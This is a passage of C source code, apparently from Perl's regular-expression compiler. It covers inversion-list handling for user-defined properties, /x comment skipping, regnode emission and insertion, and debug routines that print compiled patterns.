no \p{}, \P{} */ SvPVX_const(si)[1] - '0', /* /i or not has been stored here for just this occasion */ TRUE, /* run time */ FALSE, /* This call must find the defn */ si, /* The property definition */ &user_defined, msg, 0 /* base level call */ ); if (SvCUR(msg)) { assert(prop_definition == NULL); Perl_croak(aTHX_ "%" UTF8f, UTF8fARG(SvUTF8(msg), SvCUR(msg), SvPVX(msg))); } if (invlist) { _invlist_union(invlist, prop_definition, &invlist); SvREFCNT_dec_NN(prop_definition); } else { invlist = prop_definition; } STATIC_ASSERT_STMT(ONLY_LOCALE_MATCHES_INDEX == 1 + INVLIST_INDEX); STATIC_ASSERT_STMT(DEFERRED_USER_DEFINED_INDEX == 1 + ONLY_LOCALE_MATCHES_INDEX); av_store(av, INVLIST_INDEX, invlist); av_fill(av, (ary[ONLY_LOCALE_MATCHES_INDEX]) ? ONLY_LOCALE_MATCHES_INDEX: INVLIST_INDEX); si = NULL; } } } } /* If requested, return a printable version of what this ANYOF node matches * */ if (listsvp) { SV* matches_string = NULL; /* This function can be called at compile-time, before everything gets * resolved, in which case we return the currently best available * information, which is the string that will eventually be used to do * that resolving, 'si' */ if (si) { /* Here, we only have 'si' (and possibly some passed-in data in * 'invlist', which is handled below) If the caller only wants * 'si', use that. */ if (! output_invlist) { matches_string = newSVsv(si); } else { /* But if the caller wants an inversion list of the node, we * need to parse 'si' and place as much as possible in the * desired output inversion list, making 'matches_string' only * contain the currently unresolvable things */ const char *si_string = SvPVX(si); STRLEN remaining = SvCUR(si); UV prev_cp = 0; U8 count = 0; /* Ignore everything before the first new-line */ while (*si_string != '\n' && remaining > 0) { si_string++; remaining--; } assert(remaining > 0); si_string++; remaining--; while (remaining > 0) { /* The data consists of just strings defining user-defined * property names, but in prior incarnations, and perhaps * somehow from pluggable regex engines, it could still * hold hex code point definitions. Each component of a * range would be separated by a tab, and each range by a * new-line. If these are found, instead add them to the * inversion list */ I32 grok_flags = PERL_SCAN_SILENT_ILLDIGIT |PERL_SCAN_SILENT_NON_PORTABLE; STRLEN len = remaining; UV cp = grok_hex(si_string, &len, &grok_flags, NULL); /* If the hex decode routine found something, it should go * up to the next \n */ if ( *(si_string + len) == '\n') { if (count) { /* 2nd code point on line */ *output_invlist = _add_range_to_invlist(*output_invlist, prev_cp, cp); } else { *output_invlist = add_cp_to_invlist(*output_invlist, cp); } count = 0; goto prepare_for_next_iteration; } /* If the hex decode was instead for the lower range limit, * save it, and go parse the upper range limit */ if (*(si_string + len) == '\t') { assert(count == 0); prev_cp = cp; count = 1; prepare_for_next_iteration: si_string += len + 1; remaining -= len + 1; continue; } /* Here, didn't find a legal hex number. Just add it from * here to the next \n */ remaining -= len; while (*(si_string + len) != '\n' && remaining > 0) { remaining--; len++; } if (*(si_string + len) == '\n') { len++; remaining--; } if (matches_string) { sv_catpvn(matches_string, si_string, len - 1); } else { matches_string = newSVpvn(si_string, len - 1); } si_string += len; sv_catpvs(matches_string, " "); } /* end of loop through the text */ assert(matches_string); if (SvCUR(matches_string)) { /* Get rid of trailing blank */ SvCUR_set(matches_string, SvCUR(matches_string) - 1); } } /* end of has an 'si' */ } /* Add the stuff that's already known */ if (invlist) { /* Again, if the caller doesn't want the output inversion list, put * everything in 'matches-string' */ if (! output_invlist) { if ( ! matches_string) { matches_string = newSVpvs("\n"); } sv_catsv(matches_string, invlist_contents(invlist, TRUE /* traditional style */ )); } else if (! *output_invlist) { *output_invlist = invlist_clone(invlist, NULL); } else { _invlist_union(*output_invlist, invlist, output_invlist); } } *listsvp = matches_string; } return invlist; } #endif /* !defined(PERL_IN_XSUB_RE) || defined(PLUGGABLE_RE_EXTENSION) */ /* reg_skipcomment() Absorbs an /x style # comment from the input stream, returning a pointer to the first character beyond the comment, or if the comment terminates the pattern without anything following it, this returns one past the final character of the pattern (in other words, RExC_end) and sets the REG_RUN_ON_COMMENT_SEEN flag. Note it's the callers responsibility to ensure that we are actually in /x mode */ PERL_STATIC_INLINE char* S_reg_skipcomment(RExC_state_t *pRExC_state, char* p) { PERL_ARGS_ASSERT_REG_SKIPCOMMENT; assert(*p == '#'); while (p < RExC_end) { if (*(++p) == '\n') { return p+1; } } /* we ran off the end of the pattern without ending the comment, so we have * to add an \n when wrapping */ RExC_seen |= REG_RUN_ON_COMMENT_SEEN; return p; } STATIC void S_skip_to_be_ignored_text(pTHX_ RExC_state_t *pRExC_state, char ** p, const bool force_to_xmod ) { /* If the text at the current parse position '*p' is a '(?#...)' comment, * or if we are under /x or 'force_to_xmod' is TRUE, and the text at '*p' * is /x whitespace, advance '*p' so that on exit it points to the first * byte past all such white space and comments */ const bool use_xmod = force_to_xmod || (RExC_flags & RXf_PMf_EXTENDED); PERL_ARGS_ASSERT_SKIP_TO_BE_IGNORED_TEXT; assert( ! UTF || UTF8_IS_INVARIANT(**p) || UTF8_IS_START(**p)); for (;;) { if (RExC_end - (*p) >= 3 && *(*p) == '(' && *(*p + 1) == '?' && *(*p + 2) == '#') { while (*(*p) != ')') { if ((*p) == RExC_end) FAIL("Sequence (?#... not terminated"); (*p)++; } (*p)++; continue; } if (use_xmod) { const char * save_p = *p; while ((*p) < RExC_end) { STRLEN len; if ((len = is_PATWS_safe((*p), RExC_end, UTF))) { (*p) += len; } else if (*(*p) == '#') { (*p) = reg_skipcomment(pRExC_state, (*p)); } else { break; } } if (*p != save_p) { continue; } } break; } return; } /* nextchar() Advances the parse position by one byte, unless that byte is the beginning of a '(?#...)' style comment, or is /x whitespace and /x is in effect. In those two cases, the parse position is advanced beyond all such comments and white space. This is the UTF, (?#...), and /x friendly way of saying RExC_parse++. */ STATIC void S_nextchar(pTHX_ RExC_state_t *pRExC_state) { PERL_ARGS_ASSERT_NEXTCHAR; if (RExC_parse < RExC_end) { assert( ! UTF || UTF8_IS_INVARIANT(*RExC_parse) || UTF8_IS_START(*RExC_parse)); RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force /x */ ); } } STATIC void S_change_engine_size(pTHX_ RExC_state_t *pRExC_state, const Ptrdiff_t size) { /* 'size' is the delta to add or subtract from the current memory allocated * to the regex engine being constructed */ PERL_ARGS_ASSERT_CHANGE_ENGINE_SIZE; RExC_size += size; Renewc(RExC_rxi, sizeof(regexp_internal) + (RExC_size + 1) * sizeof(regnode), /* +1 for REG_MAGIC */ char, regexp_internal); if ( RExC_rxi == NULL ) FAIL("Regexp out of space"); RXi_SET(RExC_rx, RExC_rxi); RExC_emit_start = RExC_rxi->program; if (size > 0) { Zero(REGNODE_p(RExC_emit), size, regnode); } #ifdef RE_TRACK_PATTERN_OFFSETS Renew(RExC_offsets, 2*RExC_size+1, U32); if (size > 0) { Zero(RExC_offsets + 2*(RExC_size - size) + 1, 2 * size, U32); } RExC_offsets[0] = RExC_size; #endif } STATIC regnode_offset S_regnode_guts(pTHX_ RExC_state_t *pRExC_state, const U8 op, const STRLEN extra_size, const char* const name) { /* Allocate a regnode for 'op', with 'extra_size' extra space. It aligns * and increments RExC_size and RExC_emit * * It returns the regnode's offset into the regex engine program */ const regnode_offset ret = RExC_emit; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGNODE_GUTS; SIZE_ALIGN(RExC_size); change_engine_size(pRExC_state, (Ptrdiff_t) 1 + extra_size); NODE_ALIGN_FILL(REGNODE_p(ret)); #ifndef RE_TRACK_PATTERN_OFFSETS PERL_UNUSED_ARG(name); PERL_UNUSED_ARG(op); #else assert(extra_size >= regarglen[op] || PL_regkind[op] == ANYOF); if (RExC_offsets) { /* MJD */ MJD_OFFSET_DEBUG( ("%s:%d: (op %s) %s %" UVuf " (len %" UVuf ") (max %" UVuf ").\n", name, __LINE__, PL_reg_name[op], (UV)(RExC_emit) > RExC_offsets[0] ? "Overwriting end of array!\n" : "OK", (UV)(RExC_emit), (UV)(RExC_parse - RExC_start), (UV)RExC_offsets[0])); Set_Node_Offset(REGNODE_p(RExC_emit), RExC_parse + (op == END)); } #endif return(ret); } /* - reg_node - emit a node */ STATIC regnode_offset /* Location. */ S_reg_node(pTHX_ RExC_state_t *pRExC_state, U8 op) { const regnode_offset ret = regnode_guts(pRExC_state, op, regarglen[op], "reg_node"); regnode_offset ptr = ret; PERL_ARGS_ASSERT_REG_NODE; assert(regarglen[op] == 0); FILL_ADVANCE_NODE(ptr, op); RExC_emit = ptr; return(ret); } /* - reganode - emit a node with an argument */ STATIC regnode_offset /* Location. */ S_reganode(pTHX_ RExC_state_t *pRExC_state, U8 op, U32 arg) { const regnode_offset ret = regnode_guts(pRExC_state, op, regarglen[op], "reganode"); regnode_offset ptr = ret; PERL_ARGS_ASSERT_REGANODE; /* ANYOF are special cased to allow non-length 1 args */ assert(regarglen[op] == 1); FILL_ADVANCE_NODE_ARG(ptr, op, arg); RExC_emit = ptr; return(ret); } STATIC regnode_offset S_reg2Lanode(pTHX_ RExC_state_t *pRExC_state, const U8 op, const U32 arg1, const I32 arg2) { /* emit a node with U32 and I32 arguments */ const regnode_offset ret = regnode_guts(pRExC_state, op, regarglen[op], "reg2Lanode"); regnode_offset ptr = ret; PERL_ARGS_ASSERT_REG2LANODE; assert(regarglen[op] == 2); FILL_ADVANCE_NODE_2L_ARG(ptr, op, arg1, arg2); RExC_emit = ptr; return(ret); } /* - reginsert - insert an operator in front of already-emitted operand * * That means that on exit 'operand' is the offset of the newly inserted * operator, and the original operand has been relocated. * * IMPORTANT NOTE - it is the *callers* responsibility to correctly * set up NEXT_OFF() of the inserted node if needed. Something like this: * * reginsert(pRExC, OPFAIL, orig_emit, depth+1); * NEXT_OFF(orig_emit) = regarglen[OPFAIL] + NODE_STEP_REGNODE; * * ALSO NOTE - FLAGS(newly-inserted-operator) will be set to 0 as well. */ STATIC void S_reginsert(pTHX_ RExC_state_t *pRExC_state, const U8 op, const regnode_offset operand, const U32 depth) { regnode *src; regnode *dst; regnode *place; const int offset = regarglen[(U8)op]; const int size = NODE_STEP_REGNODE + offset; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGINSERT; PERL_UNUSED_CONTEXT; PERL_UNUSED_ARG(depth); /* (PL_regkind[(U8)op] == CURLY ? EXTRA_STEP_2ARGS : 0); */ DEBUG_PARSE_FMT("inst"," - %s", PL_reg_name[op]); assert(!RExC_study_started); /* I believe we should never use reginsert once we have started studying. If this is wrong then we need to adjust RExC_recurse below like we do with RExC_open_parens/RExC_close_parens. */ change_engine_size(pRExC_state, (Ptrdiff_t) size); src = REGNODE_p(RExC_emit); RExC_emit += size; dst = REGNODE_p(RExC_emit); /* If we are in a "count the parentheses" pass, the numbers are unreliable, * and [perl #133871] shows this can lead to problems, so skip this * realignment of parens until a later pass when they are reliable */ if (! IN_PARENS_PASS && RExC_open_parens) { int paren; /*DEBUG_PARSE_FMT("inst"," - %" IVdf, (IV)RExC_npar);*/ /* remember that RExC_npar is rex->nparens + 1, * iow it is 1 more than the number of parens seen in * the pattern so far. */ for ( paren=0 ; paren < RExC_npar ; paren++ ) { /* note, RExC_open_parens[0] is the start of the * regex, it can't move. RExC_close_parens[0] is the end * of the regex, it *can* move. */ if ( paren && RExC_open_parens[paren] >= operand ) { /*DEBUG_PARSE_FMT("open"," - %d", size);*/ RExC_open_parens[paren] += size; } else { /*DEBUG_PARSE_FMT("open"," - %s","ok");*/ } if ( RExC_close_parens[paren] >= operand ) { /*DEBUG_PARSE_FMT("close"," - %d", size);*/ RExC_close_parens[paren] += size; } else { /*DEBUG_PARSE_FMT("close"," - %s","ok");*/ } } } if (RExC_end_op) RExC_end_op += size; while (src > REGNODE_p(operand)) { StructCopy(--src, --dst, regnode); #ifdef RE_TRACK_PATTERN_OFFSETS if (RExC_offsets) { /* MJD 20010112 */ MJD_OFFSET_DEBUG( ("%s(%d): (op %s) %s copy %" UVuf " -> %" UVuf " (max %" UVuf ").\n", "reginsert", __LINE__, PL_reg_name[op], (UV)(REGNODE_OFFSET(dst)) > RExC_offsets[0] ? "Overwriting end of array!\n" : "OK", (UV)REGNODE_OFFSET(src), (UV)REGNODE_OFFSET(dst), (UV)RExC_offsets[0])); Set_Node_Offset_To_R(REGNODE_OFFSET(dst), Node_Offset(src)); Set_Node_Length_To_R(REGNODE_OFFSET(dst), Node_Length(src)); } #endif } place = REGNODE_p(operand); /* Op node, where operand used to be. */ #ifdef RE_TRACK_PATTERN_OFFSETS if (RExC_offsets) { /* MJD */ MJD_OFFSET_DEBUG( ("%s(%d): (op %s) %s %" UVuf " <- %" UVuf " (max %" UVuf ").\n", "reginsert", __LINE__, PL_reg_name[op], (UV)REGNODE_OFFSET(place) > RExC_offsets[0] ? "Overwriting end of array!\n" : "OK", (UV)REGNODE_OFFSET(place), (UV)(RExC_parse - RExC_start), (UV)RExC_offsets[0])); Set_Node_Offset(place, RExC_parse); Set_Node_Length(place, 1); } #endif src = NEXTOPER(place); FLAGS(place) = 0; FILL_NODE(operand, op); /* Zero out any arguments in the new node */ Zero(src, offset, regnode); } /* - regtail - set the next-pointer at the end of a node chain of p to val. If that value won't fit in the space available, instead returns FALSE. (Except asserts if we can't fit in the largest space the regex engine is designed for.) - SEE ALSO: regtail_study */ STATIC bool S_regtail(pTHX_ RExC_state_t * pRExC_state, const regnode_offset p, const regnode_offset val, const U32 depth) { regnode_offset scan; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGTAIL; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif /* Find last node. */ scan = (regnode_offset) p; for (;;) { regnode * const temp = regnext(REGNODE_p(scan)); DEBUG_PARSE_r({ DEBUG_PARSE_MSG((scan==p ? "tail" : "")); regprop(RExC_rx, RExC_mysv, REGNODE_p(scan), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ %s (%d) %s %s\n", SvPV_nolen_const(RExC_mysv), scan, (temp == NULL ? "->" : ""), (temp == NULL ? PL_reg_name[OP(REGNODE_p(val))] : "") ); }); if (temp == NULL) break; scan = REGNODE_OFFSET(temp); } if (reg_off_by_arg[OP(REGNODE_p(scan))]) { assert((UV) (val - scan) <= U32_MAX); ARG_SET(REGNODE_p(scan), val - scan); } else { if (val - scan > U16_MAX) { /* Populate this with something that won't loop and will likely * lead to a crash if the caller ignores the failure return, and * execution continues */ NEXT_OFF(REGNODE_p(scan)) = U16_MAX; return FALSE; } NEXT_OFF(REGNODE_p(scan)) = val - scan; } return TRUE; } #ifdef DEBUGGING /* - regtail_study - set the next-pointer at the end of a node chain of p to val. - Look for optimizable sequences at the same time. - currently only looks for EXACT chains. This is experimental code. The idea is to use this routine to perform in place optimizations on branches and groups as they are constructed, with the long term intention of removing optimization from study_chunk so that it is purely analytical. Currently only used when in DEBUG mode. The macro REGTAIL_STUDY() is used to control which is which. This used to return a value that was ignored. It was a problem that it is #ifdef'd to be another function that didn't return a value. khw has changed it so both currently return a pass/fail return. */ /* TODO: All four parms should be const */ STATIC bool S_regtail_study(pTHX_ RExC_state_t *pRExC_state, regnode_offset p, const regnode_offset val, U32 depth) { regnode_offset scan; U8 exact = PSEUDO; #ifdef EXPERIMENTAL_INPLACESCAN I32 min = 0; #endif GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGTAIL_STUDY; /* Find last node. */ scan = p; for (;;) { regnode * const temp = regnext(REGNODE_p(scan)); #ifdef EXPERIMENTAL_INPLACESCAN if (PL_regkind[OP(REGNODE_p(scan))] == EXACT) { bool unfolded_multi_char; /* Unexamined in this routine */ if (join_exact(pRExC_state, scan, &min, &unfolded_multi_char, 1, REGNODE_p(val), depth+1)) return TRUE; /* Was return EXACT */ } #endif if ( exact ) { switch (OP(REGNODE_p(scan))) { case EXACT: case EXACT_ONLY8: case EXACTL: case EXACTF: case EXACTFU_S_EDGE: case EXACTFAA_NO_TRIE: case EXACTFAA: case EXACTFU: case EXACTFU_ONLY8: case EXACTFLU8: case EXACTFUP: case EXACTFL: if( exact == PSEUDO ) exact= OP(REGNODE_p(scan)); else if ( exact != OP(REGNODE_p(scan)) ) exact= 0; case NOTHING: break; default: exact= 0; } } DEBUG_PARSE_r({ DEBUG_PARSE_MSG((scan==p ? "tsdy" : "")); regprop(RExC_rx, RExC_mysv, REGNODE_p(scan), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ %s (%d) -> %s\n", SvPV_nolen_const(RExC_mysv), scan, PL_reg_name[exact]); }); if (temp == NULL) break; scan = REGNODE_OFFSET(temp); } DEBUG_PARSE_r({ DEBUG_PARSE_MSG(""); regprop(RExC_rx, RExC_mysv, REGNODE_p(val), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ attach to %s (%" IVdf ") offset to %" IVdf "\n", SvPV_nolen_const(RExC_mysv), (IV)val, (IV)(val - scan) ); }); if (reg_off_by_arg[OP(REGNODE_p(scan))]) { assert((UV) (val - scan) <= U32_MAX); ARG_SET(REGNODE_p(scan), val - scan); } else { if (val - scan > U16_MAX) { /* Populate this with something that won't loop and will likely * lead to a crash if the caller ignores the failure return, and * execution continues */ NEXT_OFF(REGNODE_p(scan)) = U16_MAX; return FALSE; } NEXT_OFF(REGNODE_p(scan)) = val - scan; } return TRUE; /* Was 'return exact' */ } #endif STATIC SV* S_get_ANYOFM_contents(pTHX_ const regnode * n) { /* Returns an inversion list of all the code points matched by the * ANYOFM/NANYOFM node 'n' */ SV * cp_list = _new_invlist(-1); const U8 lowest = (U8) ARG(n); unsigned int i; U8 count = 0; U8 needed = 1U << PL_bitcount[ (U8) ~ FLAGS(n)]; PERL_ARGS_ASSERT_GET_ANYOFM_CONTENTS; /* Starting with the lowest code point, any code point that ANDed with the * mask yields the lowest code point is in the set */ for (i = lowest; i <= 0xFF; i++) { if ((i & FLAGS(n)) == ARG(n)) { cp_list = add_cp_to_invlist(cp_list, i); count++; /* We know how many code points (a power of two) that are in the * set. No use looking once we've got that number */ if (count >= needed) break; } } if (OP(n) == NANYOFM) { _invlist_invert(cp_list); } return cp_list; } /* - regdump - dump a regexp onto Perl_debug_log in vaguely comprehensible form */ #ifdef DEBUGGING static void S_regdump_intflags(pTHX_ const char *lead, const U32 flags) { int bit; int set=0; ASSUME(REG_INTFLAGS_NAME_SIZE <= sizeof(flags)*8); for (bit=0; bit<REG_INTFLAGS_NAME_SIZE; bit++) { if (flags & (1<<bit)) { if (!set++ && lead) Perl_re_printf( aTHX_ "%s", lead); Perl_re_printf( aTHX_ "%s ", PL_reg_intflags_name[bit]); } } if (lead) { if (set) Perl_re_printf( aTHX_ "\n"); else Perl_re_printf( aTHX_ "%s[none-set]\n", lead); } } static void S_regdump_extflags(pTHX_ const char *lead, const U32 flags) { int bit; int set=0; regex_charset cs; ASSUME(REG_EXTFLAGS_NAME_SIZE <= sizeof(flags)*8); for (bit=0; bit<REG_EXTFLAGS_NAME_SIZE; bit++) { if (flags & (1<<bit)) { if ((1<<bit) & RXf_PMf_CHARSET) { /* Output separately, below */ continue; } if (!set++ && lead) Perl_re_printf( aTHX_ "%s", lead); Perl_re_printf( aTHX_ "%s ", PL_reg_extflags_name[bit]); } } if ((cs = get_regex_charset(flags)) != REGEX_DEPENDS_CHARSET) { if (!set++ && lead) { Perl_re_printf( aTHX_ "%s", lead); } switch (cs) { case REGEX_UNICODE_CHARSET: Perl_re_printf( aTHX_ "UNICODE"); break; case REGEX_LOCALE_CHARSET: Perl_re_printf( aTHX_ "LOCALE"); break; case REGEX_ASCII_RESTRICTED_CHARSET: Perl_re_printf( aTHX_ "ASCII-RESTRICTED"); break; case REGEX_ASCII_MORE_RESTRICTED_CHARSET: Perl_re_printf( aTHX_ "ASCII-MORE_RESTRICTED"); break; default: Perl_re_printf( aTHX_ "UNKNOWN CHARACTER SET"); break; } } if (lead) { if (set) Perl_re_printf( aTHX_ "\n"); else Perl_re_printf( aTHX_ "%s[none-set]\n", lead); } } #endif void Perl_regdump(pTHX_ const regexp *r) { #ifdef DEBUGGING int i; SV * const sv = sv_newmortal(); SV *dsv= sv_newmortal(); RXi_GET_DECL(r, ri); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGDUMP; (void)dumpuntil(r, ri->program, ri->program + 1, NULL, NULL, sv, 0, 0); /* Header fields of interest. */ for (i = 0; i < 2; i++) { if (r->substrs->data[i].substr) { RE_PV_QUOTED_DECL(s, 0, dsv, SvPVX_const(r->substrs->data[i].substr), RE_SV_DUMPLEN(r->substrs->data[i].substr), PL_dump_re_max_len); Perl_re_printf( aTHX_ "%s %s%s at %" IVdf "..%" UVuf " ", i ? "floating" : "anchored", s, RE_SV_TAIL(r->substrs->data[i].substr), (IV)r->substrs->data[i].min_offset, (UV)r->substrs->data[i].max_offset); } else if (r->substrs->data[i].utf8_substr) { RE_PV_QUOTED_DECL(s, 1, dsv, SvPVX_const(r->substrs->data[i].utf8_substr), RE_SV_DUMPLEN(r->substrs->data[i].utf8_substr), 30); Perl_re_printf( aTHX_ "%s utf8 %s%s at %" IVdf "..%" UVuf " ", i ? "floating" : "anchored", s, RE_SV_TAIL(r->substrs->data[i].utf8_substr), (IV)r->substrs->data[i].min_offset, (UV)r->substrs->data[i].max_offset); } } if (r->check_substr || r->check_utf8) Perl_re_printf( aTHX_ (const char *) ( r->check_substr == r->substrs->data[1].substr && r->check_utf8 == r->substrs->data[1].utf8_substr ? "(checking floating" : "(checking anchored")); if (r->intflags & PREGf_NOSCAN) Perl_re_printf( aTHX_ " noscan"); if (r->extflags & RXf_CHECK_ALL) Perl_re_printf( aTHX_ " isall"); if (r->check_substr || r->check_utf8) Perl_re_printf( aTHX_ ") "); if (ri->regstclass) { regprop(r, sv, ri->regstclass, NULL, NULL); Perl_re_printf( aTHX_ "stclass %s ", SvPVX_const(sv)); } if (r->intflags & PREGf_ANCH) { Perl_re_printf( aTHX_ "anchored"); if (r->intflags & PREGf_ANCH_MBOL) Perl_re_printf( aTHX_ "(MBOL)"); if (r->intflags & PREGf_ANCH_SBOL) Perl_re_printf( aTHX_ "(SBOL)"); if (r->intflags & PREGf_ANCH_GPOS) Perl_re_printf( aTHX_ "(GPOS)"); Perl_re_printf( aTHX_ " "); } if (r->intflags & PREGf_GPOS_SEEN) Perl_re_printf( aTHX_ "GPOS:%" UVuf " ", (UV)r->gofs); if (r->intflags & PREGf_SKIP) Perl_re_printf( aTHX_ "plus "); if (r->intflags & PREGf_IMPLICIT) Perl_re_printf( aTHX_ "implicit "); Perl_re_printf( aTHX_ "minlen %" IVdf " ", (IV)r->minlen); if (r->extflags & RXf_EVAL_SEEN) Perl_re_printf( aTHX_ "with eval "); Perl_re_printf( aTHX_ "\n"); DEBUG_FLAGS_r({ regdump_extflags("r->extflags: ", r->extflags); regdump_intflags("r->intflags: ", r->intflags); }); #else PERL_ARGS_ASSERT_REGDUMP; PERL_UNUSED_CONTEXT; PERL_UNUSED_ARG(r); #endif /* DEBUGGING */ } /* Should be synchronized with ANYOF_ #defines in regcomp.h */ #ifdef DEBUGGING # if _CC_WORDCHAR != 0 || _CC_DIGIT != 1 || _CC_ALPHA != 2 \ || _CC_LOWER != 3 || _CC_UPPER != 4 || _CC_PUNCT != 5 \ || _CC_PRINT != 6 || _CC_ALPHANUMERIC != 7 || _CC_GRAPH != 8 \ || _CC_CASED != 9 || _CC_SPACE != 10 || _CC_BLANK != 11 \ || _CC_XDIGIT != 12 || _CC_CNTRL != 13 || _CC_ASCII != 14 \ || _CC_VERTSPACE != 15 # error Need to adjust order of anyofs[] # endif static const char * const anyofs[] = { "\\w", "\\W", "\\d", "\\D", "[:alpha:]", "[:^alpha:]", "[:lower:]", "[:^lower:]", "[:upper:]", "[:^upper:]", "[:punct:]", "[:^punct:]", "[:print:]", "[:^print:]", "[:alnum:]", "[:^alnum:]", "[:graph:]", "[:^graph:]", "[:cased:]", "[:^cased:]", "\\s", "\\S", "[:blank:]", "[:^blank:]", "[:xdigit:]", "[:^xdigit:]", "[:cntrl:]", "[:^cntrl:]", "[:ascii:]", "[:^ascii:]", "\\v", "\\V" }; #endif /* - regprop - printable representation of opcode, with run time support */ void Perl_regprop(pTHX_ const regexp *prog, SV *sv, const regnode *o, const regmatch_info *reginfo, const RExC_state_t *pRExC_state) { #ifdef DEBUGGING dVAR; int k; RXi_GET_DECL(prog, progi); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGPROP; SvPVCLEAR(sv); if (OP(o) > REGNODE_MAX) /* regnode.type is unsigned */ /* It would be nice to FAIL() here, but this may be called from regexec.c, and it would be hard to supply pRExC_state. */ Perl_croak(aTHX_ "Corrupted regexp opcode %d > %d", (int)OP(o), (int)REGNODE_MAX); sv_catpv(sv, PL_reg_name[OP(o)]); /* Take off const! */ k = PL_regkind[OP(o)]; if (k == EXACT) { sv_catpvs(sv, " "); /* Using is_utf8_string() (via PERL_PV_UNI_DETECT) * is a crude hack but it may be the best for now since * we have no flag "this EXACTish node was UTF-8" * --jhi */ pv_pretty(sv, STRING(o), STR_LEN(o), PL_dump_re_max_len, PL_colors[0], PL_colors[1], PERL_PV_ESCAPE_UNI_DETECT | PERL_PV_ESCAPE_NONASCII | PERL_PV_PRETTY_ELLIPSES | PERL_PV_PRETTY_LTGT | PERL_PV_PRETTY_NOCLEAR ); } else if (k == TRIE) { /* print the details of the trie in dumpuntil instead, as * progi->data isn't available here */ const char op = OP(o); const U32 n = ARG(o); const reg_ac_data * const ac = IS_TRIE_AC(op) ? (reg_ac_data *)progi->data->data[n] : NULL; const reg_trie_data * const trie = (reg_trie_data*)progi->data->data[!IS_TRIE_AC(op) ? n : ac->trie]; Perl_sv_catpvf(aTHX_ sv, "-%s", PL_reg_name[o->flags]); DEBUG_TRIE_COMPILE_r({ if (trie->jump) sv_catpvs(sv, "(JUMP)"); Perl_sv_catpvf(aTHX_ sv, "<S:%" UVuf "/%" IVdf " W:%" UVuf " L:%" UVuf "/%" UVuf " C:%" UVuf "/%" UVuf ">", (UV)trie->startstate, (IV)trie->statecount-1, /* -1 because of the unused 0 element */ (UV)trie->wordcount, (UV)trie->minlen, (UV)trie->maxlen, (UV)TRIE_CHARCOUNT(trie), (UV)trie->uniquecharcount ); }); if ( IS_ANYOF_TRIE(op) || trie->bitmap ) { sv_catpvs(sv, "["); (void) put_charclass_bitmap_innards(sv, ((IS_ANYOF_TRIE(op)) ? ANYOF_BITMAP(o) : TRIE_BITMAP(trie)), NULL, NULL, NULL, FALSE ); sv_catpvs(sv, "]"); } } else if (k == CURLY) { U32 lo = ARG1(o), hi = ARG2(o); if (OP(o) == CURLYM || OP(o) == CURLYN || OP(o) == CURLYX) Perl_sv_catpvf(aTHX_ sv, "[%d]", o->flags); /* Parenth number */ Perl_sv_catpvf(aTHX_ sv, "{%u,", (unsigned) lo); if (hi == REG_INFTY) sv_catpvs(sv, "INFTY"); else Perl_sv_catpvf(aTHX_ sv, "%u", (unsigned) hi); sv_catpvs(sv, "}"); } else if (k == WHILEM && o->flags) /* Ordinal/of */ Perl_sv_catpvf(aTHX_ sv, "[%d/%d]", o->flags & 0xf, o->flags>>4); else if (k == REF || k == OPEN || k == CLOSE || k == GROUPP || OP(o)==ACCEPT) { AV *name_list= NULL; U32 parno= OP(o) == ACCEPT ? (U32)ARG2L(o) : ARG(o); Perl_sv_catpvf(aTHX_ sv, "%" UVuf, (UV)parno); /* Parenth number */ if ( RXp_PAREN_NAMES(prog) ) { name_list= MUTABLE_AV(progi->data->data[progi->name_list_idx]); } else if ( pRExC_state ) { name_list= RExC_paren_name_list; } if (name_list) { if ( k != REF || (OP(o) < NREF)) { SV **name= av_fetch(name_list, parno, 0 ); if (name) Perl_sv_catpvf(aTHX_ sv, " '%" SVf "'", SVfARG(*name)); } else { SV *sv_dat= MUTABLE_SV(progi->data->data[ parno ]); I32 *nums=(I32*)SvPVX(sv_dat); SV **name= av_fetch(name_list, nums[0], 0 ); I32 n; if (name) { for ( n=0; n<SvIVX(sv_dat); n++ ) { Perl_sv_catpvf(aTHX_ sv, "%s%" IVdf, (n ? "," : ""), (IV)nums[n]); } Perl_sv_catpvf(aTHX_ sv, " '%" SVf "'", SVfARG(*name)); } } } if ( k == REF && reginfo) { U32 n = ARG(o); /* which paren pair */ I32 ln = prog->offs[n].start; if (prog->lastparen < n || ln == -1 || prog->offs[n].end == -1) Perl_sv_catpvf(aTHX_ sv, ": FAIL"); else if (ln == prog->offs[n].end) Perl_sv_catpvf(aTHX_ sv, ": ACCEPT - EMPTY STRING"); else { const char *s = reginfo->strbeg + ln; Perl_sv_catpvf(aTHX_ sv, ": "); Perl_pv_pretty( aTHX_ sv, s, prog->offs[n].end - prog->offs[n].start, 32, 0, 0, PERL_PV_ESCAPE_UNI_DETECT|PERL_PV_PRETTY_NOCLEAR|PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_QUOTE ); } } } else if (k == GOSUB) { AV *name_list= NULL; if ( RXp_PAREN_NAMES(prog) ) { name_list= MUTABLE_AV(progi->data->data[progi->name_list_idx]); } else if ( pRExC_state ) { name_list= RExC_paren_name_list; } /* Paren and offset */ Perl_sv_catpvf(aTHX_ sv, "%d[%+d:%d]", (int)ARG(o),(int)ARG2L(o), (int)((o + (int)ARG2L(o)) - progi->program) ); if (name_list) { SV **name= av_fetch(name_list, ARG(o), 0 ); if (name) Perl_sv_catpvf(aTHX_ sv, " '%" SVf "'", SVfARG(*name)); } } else if (k == LOGICAL) /* 2: embedded, otherwise 1 */ Perl_sv_catpvf(aTHX_ sv, "[%d]", o->flags); else if (k == ANYOF) { const U8 flags = (OP(o) == ANYOFH) ? 0 : ANYOF_FLAGS(o); bool do_sep = FALSE; /* Do we need to separate various components of the output? */ /* Set if there is still an unresolved user-defined property */ SV *unresolved = NULL; /* Things that are ignored except when the runtime locale is UTF-8 